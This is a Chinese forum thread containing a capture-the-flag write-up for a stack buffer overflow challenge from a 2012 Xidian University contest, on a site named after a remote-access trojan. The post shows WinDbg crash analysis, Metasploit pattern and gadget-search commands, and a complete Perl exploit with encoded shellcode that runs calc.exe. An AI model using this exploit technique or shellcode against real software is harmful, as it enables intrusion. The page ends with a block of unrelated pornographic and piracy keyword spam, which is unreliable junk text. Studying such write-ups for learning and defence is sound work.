灰鴿子遠(yuǎn)程控制軟件

 找回密碼
 立即注冊(cè)

QQ登錄

只需一步,快速開(kāi)始

查看: 14637|回復(fù): 4
打印 上一主題 下一主題

2012西電網(wǎng)絡(luò)攻防大賽 溢出第三題 調(diào)試筆記

[復(fù)制鏈接]
跳轉(zhuǎn)到指定樓層
樓主
發(fā)表于 2013-8-9 22:03:05 | 只看該作者 |只看大圖 回帖獎(jiǎng)勵(lì) |倒序?yàn)g覽 |閱讀模式
2012西電網(wǎng)絡(luò)攻防大賽 溢出第三題 調(diào)試筆記


第一題是編寫(xiě)shellcode的跳過(guò),第二題ida看了下貌似是要控制程序的流程只不過(guò)輸入字符串實(shí)在麻煩先放一放。

就看看第三題吧。先看題目說(shuō)明:

1、Exploit.exe程序是一個(gè)簡(jiǎn)易的網(wǎng)絡(luò)聊天工具;
2、該程序在接收字符串沒(méi)有進(jìn)行邊界檢查,存在緩沖區(qū)溢出漏洞;
3、請(qǐng)你找出bug,并嘗試exploit,以打開(kāi)cmd.exe為成功;
4、需要簡(jiǎn)要文字?jǐn)⑹觯?br /> 5、提交格式可參考附件。

==============
說(shuō)的很詳細(xì)了,程序也很簡(jiǎn)單 就那么一個(gè)功能,經(jīng)過(guò)測(cè)試可以直接使用nc發(fā)送字符串,不需要使用它自帶的客戶(hù)端功能。

1.先定位溢出點(diǎn)
windbg 打開(kāi)程序,監(jiān)聽(tīng)4000端口

用msf生成一個(gè)超長(zhǎng)字符串:
root@scan:~# /opt/metasploit/apps/pro/msf3/tools/pattern_create.rb 2000 > ~/Desktop/hi.txt
使用nc 連接服務(wù)端并發(fā)送生成的字符串:
root@scan:~/Desktop# cat hi.txt|nc -vv 192.168.1.16 4000
192.168.1.16: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.1.16] 4000 (?) open
windbg 捕獲到了異常
0:002> g
(1334.314): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012f4ec ebx=00000000 ecx=00000000 edx=0012f4ec esi=0012fbd8 edi=00af6458
eip=68423368 esp=0012f8dc ebp=0012f918 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
68423368 ??              ???

eip被改寫(xiě)成了 68423368

查看下 68423368在字符串中的位置

root@scan:~# /opt/metasploit/apps/pro/msf3/tools/pattern_offset.rb 68423368 Exact match at offset 1000

eip被位于1000開(kāi)頭的四字節(jié)改寫(xiě)了,一般情況下,按照教科書(shū)上說(shuō)的經(jīng)典的jmp esp的利用方式。

程序返回后esp應(yīng)該指向堆棧中保存返回地址后面的地方,或者不遠(yuǎn)的地方。









?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
0:002> g
(1334.314): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012f4ec ebx=00000000 ecx=00000000 edx=0012f4ec esi=0012fbd8 edi=00af6458
eip=68423368 esp=0012f8dc ebp=0012f918 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
68423368 ??              ???
0:000> d esp
0012f8dc  42 68 36 42 68 37 42 68-38 42 68 39 42 69 30 42  Bh6Bh7Bh8Bh9Bi0B
0012f8ec  00 f9 12 00 98 36 42 00-00 00 00 00 b4 29 40 00  …..6B……)@.
0012f8fc  00 00 00 00 fc fe 12 00-9e 2f 42 00 00 00 00 00  ………/B…..
0012f90c  48 7b 17 00 a8 63 af 00-01 00 00 00 b0 f9 12 00  H{…c……….
0012f91c  6b 30 42 00 00 01 00 00-d1 07 00 00 01 00 00 00  k0B………….
0012f92c  f2 30 42 00 80 62 af 00-09 31 42 00 39 a8 41 00  .0B..b…1B.9.A.
0012f93c  00 01 00 00 01 00 00 00-80 62 af 00 80 62 af 00  ………b…b..
0012f94c  38 61 15 00 30 88 d1 77-ff ff ff ff 2a 88 d1 77  8a..0..w….*..w
0:000> d
0012f95c  3f c6 d1 77 00 00 00 00-4f e5 d3 77 4e 04 1a 00  ?..w….O..wN…
0012f96c  6a 03 00 00 00 00 00 00-00 00 00 00 00 00 00 00  j……………
0012f97c  00 00 00 00 d8 fb 12 00-d8 fb 12 00 a8 f9 12 00  …………….
0012f98c  05 e9 d1 77 4f e5 d3 77-4e 04 1a 00 6a 03 00 00  …wO..wN…j…
0012f99c  28 63 42 00 00 00 00 00-24 fa 12 00 b0 39 42 00  (cB…..$….9B.
0012f9ac  ff ff ff ff d0 f9 12 00-80 a3 41 00 73 03 00 00  ……….A.s…
0012f9bc  00 01 00 00 30 63 42 00-cc f9 12 00 73 03 00 00  ….0cB…..s…
0012f9cc  00 00 00 00 30 fa 12 00-b5 93 41 00 73 03 00 00  ….0…..A.s…





看一下第幾個(gè)字節(jié)指向shellcode:
root@scan:~# /opt/metasploit/apps/pro/msf3/tools/pattern_offset.rb Bh6B Exact match at offset 1008

1000字節(jié)的地方覆蓋了返回地址,
溢出發(fā)生后第1008字節(jié)覆蓋了esp,esp指向的地方我們也可以控制,但是16字節(jié)的空間不足以容納shellcode,利用經(jīng)典的jmp esp方式來(lái)利用的話(huà),還往回跳應(yīng)該也是沒(méi)有問(wèn)題的。

經(jīng)典的溢出exploit應(yīng)該是這樣寫(xiě)的:

1000                        4                                8                   5
[nop ...... shellcode ] [jmp esp 的地址] [BBBBCCCC] [jmp -xxx 往回跳]

需要 1000 + 4 +8 +5 個(gè)字節(jié) 來(lái)完成溢出。

不著急寫(xiě)exp,看看其它寄存器有沒(méi)有可以利用的地方。


0:000> r
eax=0012f4ec ebx=00000000 ecx=00000000 edx=0012f4ec esi=0012fbd8 edi=00af6458
eip=68423368 esp=0012f8dc ebp=0012f918 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
68423368 ??              ???
0:000> d eax
0012f4ec  41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41  Aa0Aa1Aa2Aa3Aa4A
0012f4fc  61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62  a5Aa6Aa7Aa8Aa9Ab
0012f50c  30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35  0Ab1Ab2Ab3Ab4Ab5
0012f51c  41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41  Ab6Ab7Ab8Ab9Ac0A
0012f52c  63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63  c1Ac2Ac3Ac4Ac5Ac
0012f53c  36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31  6Ac7Ac8Ac9Ad0Ad1
0012f54c  41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41  Ad2Ad3Ad4Ad5Ad6A
0012f55c  64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65  d7Ad8Ad9Ae0Ae1Ae
0:000> d esi
0012fbd8  78 59 42 00 01 00 00 00-00 00 00 00 00 00 00 00  xYB………….
0012fbe8  00 00 00 00 01 00 00 00-00 00 00 00 4e 04 1a 00  …………N…
0012fbf8  00 00 00 00 18 00 00 00-4f e5 d3 77 ff ff ff ff  ……..O..w….
0012fc08  00 00 00 00 00 00 00 00-00 00 00 00 66 00 00 00  …………f…
0012fc18  66 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  f……………
0012fc28  00 00 00 00 00 00 00 00-00 00 00 00 84 60 42 00  ………….`B.
0012fc38  01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  …………….
0012fc48  01 00 00 00 00 00 00 00-0e 04 3a 00 00 00 00 00  ……….:…..
0:000> d edi
00af6458  41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41  Aa0Aa1Aa2Aa3Aa4A
00af6468  61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62  a5Aa6Aa7Aa8Aa9Ab
00af6478  30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35  0Ab1Ab2Ab3Ab4Ab5
00af6488  41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41  Ab6Ab7Ab8Ab9Ac0A
00af6498  63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63  c1Ac2Ac3Ac4Ac5Ac
00af64a8  36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31  6Ac7Ac8Ac9Ad0Ad1
00af64b8  41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41  Ad2Ad3Ad4Ad5Ad6A
00af64c8  64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65  d7Ad8Ad9Ae0Ae1Ae


可以看到eax、edx、edi都指向我們提交的字符串的開(kāi)頭!這樣的話(huà)我們直接覆蓋返回地址為 call eax就ok了,不用管什么esp后面空間的大小了。

現(xiàn)在exploit也這樣寫(xiě):

1000                        4
[nop ...... shellcode ] [call eax 的地址]

事實(shí)上我們找call eax的地址最好在程序本身的模塊中找,這樣的好處是可以不依賴(lài)操作系統(tǒng)。還是使用msf的另一個(gè)神器msfpescan找跳轉(zhuǎn)地址:


root@scan:~# /opt/metasploit/app/msfpescan -j eax ~/Desktop/chat.exe

[/root/Desktop/chat.exe]
0x0040a4e4 jmp eax
0x0040a4f2 jmp eax
0x0040a4f9 jmp eax
0x0040aaf1 push eax; ret
0x0040ab27 call eax
0x0040abc4 call eax
0x0040ac35 call eax
0x0040b8ed push eax; ret
0x0040d415 call eax
0x0040d5a4 call eax
0x0040e187 call eax
0x0040f73e call eax
0x0040ffa6 call eax
0x00410cdf call eax
0x00410cf1 call eax
0x0041804b call eax
0x00419dea call eax
……

程序本身的模塊里有一個(gè)問(wèn)題就是含有00字節(jié),溢出的時(shí)候會(huì)截?cái)嗪竺妫贿^(guò)因?yàn)樽址趦?nèi)存中是反序的所以我們最后一個(gè)0×00可以不覆蓋。

我們只需要發(fā)送 1000個(gè)字符的shellcode 和垃圾數(shù)據(jù) + 三字節(jié)的返回地址就可以了。

現(xiàn)在exploit也這樣寫(xiě):

#!/usr/bin/perl
# 2012西安電子科技大學(xué)網(wǎng)絡(luò)攻防大賽  溢出題 第三題 通用 exploit
# by c4rp3nt3r@0x50sec.org
#
my $junk = "\x90" x (1000-227);

#my $eip = pack('V',0x7dcf33bb);     # call eax 來(lái)自系統(tǒng)空間
my $eip = pack('V',0x0040a4f2); # call eax 來(lái)自程序模塊,不依賴(lài)具體系統(tǒng)~~~
# windows/exec - 227 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
# CMD=calc.exe
my $payload = "\xbd\x83\xa1\xb8\x0e\xd9\xea\xd9\x74\x24\xf4\x5b\x31\xc9" .
"\xb1\x33\x31\x6b\x12\x83\xc3\x04\x03\xe8\xaf\x5a\xfb\x12" .
"\x47\x13\x04\xea\x98\x44\x8c\x0f\xa9\x56\xea\x44\x98\x66" .
"\x78\x08\x11\x0c\x2c\xb8\xa2\x60\xf9\xcf\x03\xce\xdf\xfe" .
"\x94\xfe\xdf\xac\x57\x60\x9c\xae\x8b\x42\x9d\x61\xde\x83" .
"\xda\x9f\x11\xd1\xb3\xd4\x80\xc6\xb0\xa8\x18\xe6\x16\xa7" .
"\x21\x90\x13\x77\xd5\x2a\x1d\xa7\x46\x20\x55\x5f\xec\x6e" .
"\x46\x5e\x21\x6d\xba\x29\x4e\x46\x48\xa8\x86\x96\xb1\x9b" .
"\xe6\x75\x8c\x14\xeb\x84\xc8\x92\x14\xf3\x22\xe1\xa9\x04" .
"\xf1\x98\x75\x80\xe4\x3a\xfd\x32\xcd\xbb\xd2\xa5\x86\xb7" .
"\x9f\xa2\xc1\xdb\x1e\x66\x7a\xe7\xab\x89\xad\x6e\xef\xad" .
"\x69\x2b\xab\xcc\x28\x91\x1a\xf0\x2b\x7d\xc2\x54\x27\x6f" .
"\x17\xee\x6a\xe5\xe6\x62\x11\x40\xe8\x7c\x1a\xe2\x81\x4d" .
"\x91\x6d\xd5\x51\x70\xca\x29\x18\xd9\x7a\xa2\xc5\x8b\x3f" .
"\xaf\xf5\x61\x03\xd6\x75\x80\xfb\x2d\x65\xe1\xfe\x6a\x21" .
"\x19\x72\xe2\xc4\x1d\x21\x03\xcd\x7d\xa4\x97\x8d\xaf\x43" .
"\x10\x37\xb0";

print $payload.$junk.$eip."\r\n";

評(píng)帖賺銀幣(0) 收起
分享到:  QQ好友和群QQ好友和群
收藏收藏
回復(fù)

使用道具 舉報(bào)

沙發(fā)
發(fā)表于 2013-11-14 16:06:49 | 只看該作者
aaaaaaaaaaaaaaaaaaaaaaaaaaaaa
評(píng)帖賺銀幣(0) 收起
板凳
發(fā)表于 2013-11-22 22:21:40 | 只看該作者
賺錢(qián)啊賺錢(qián)
評(píng)帖賺銀幣(0) 收起
地板
發(fā)表于 2013-12-9 06:29:42 | 只看該作者
賺錢(qián)啊賺錢(qián)
評(píng)帖賺銀幣(0) 收起
5#
發(fā)表于 2014-7-9 18:22:23 | 只看該作者
我聽(tīng)說(shuō)很多搞游戲外掛的人用灰鴿子做監(jiān)控員工用。
評(píng)帖賺銀幣(0) 收起

本版積分規(guī)則

Archiver|手機(jī)版|小黑屋|灰鴿子遠(yuǎn)程控制軟件|灰鴿子遠(yuǎn)程控制軟件 ( 魯ICP備14000061號(hào)-4 )

GMT+8, 2025-3-13 07:50 , Processed in 0.100276 second(s), 33 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回復(fù) 返回頂部 返回列表
主站蜘蛛池模板: 无码精品国产dvd在线观看9久 | 中文无码伦av中文字幕| 亚洲精品无码成人片久久不卡| 精品无码人妻一区二区三区18| 超清纯白嫩大学生无码网站| 亚洲中文字幕久久精品无码VA| 日韩精品无码免费专区午夜 | 亚洲av专区无码观看精品天堂| 国产成人无码区免费A∨视频网站 国产成人无码午夜视频在线观看 国产成人无码精品一区不卡 | 本道天堂成在人线av无码免费| 久久久久亚洲av无码专区喷水| 亚洲午夜无码片在线观看影院猛| 亚洲AV无码乱码在线观看代蜜桃| 国产无遮挡无码视频免费软件| 伊人蕉久中文字幕无码专区| 亚洲AV无码一区二区三区久久精品| 国产亚洲精品a在线无码| 精品无码久久久久久久久久| 无码被窝影院午夜看片爽爽jk| 亚洲va中文字幕无码久久不卡| 久久久精品人妻无码专区不卡| 97无码免费人妻超级碰碰碰碰| 亚洲AV无码AV男人的天堂不卡| 精品欧洲av无码一区二区14| 乱色精品无码一区二区国产盗| 亚洲AV无码精品无码麻豆| 高清无码视频直接看| 亚洲av永久无码制服河南实里| 国产成人A人亚洲精品无码| 国内精品无码一区二区三区| 国产AV无码专区亚洲AV漫画| 熟妇人妻中文a∨无码| 免费看无码特级毛片| 波多野结衣AV无码久久一区| 永久免费AV无码网站国产| 亚洲精品午夜无码专区| 无码AV中文一区二区三区| 亚洲熟妇无码久久精品| 亚洲av无码成人影院一区| 国产丰满乱子伦无码专| 久久精品无码一区二区日韩AV|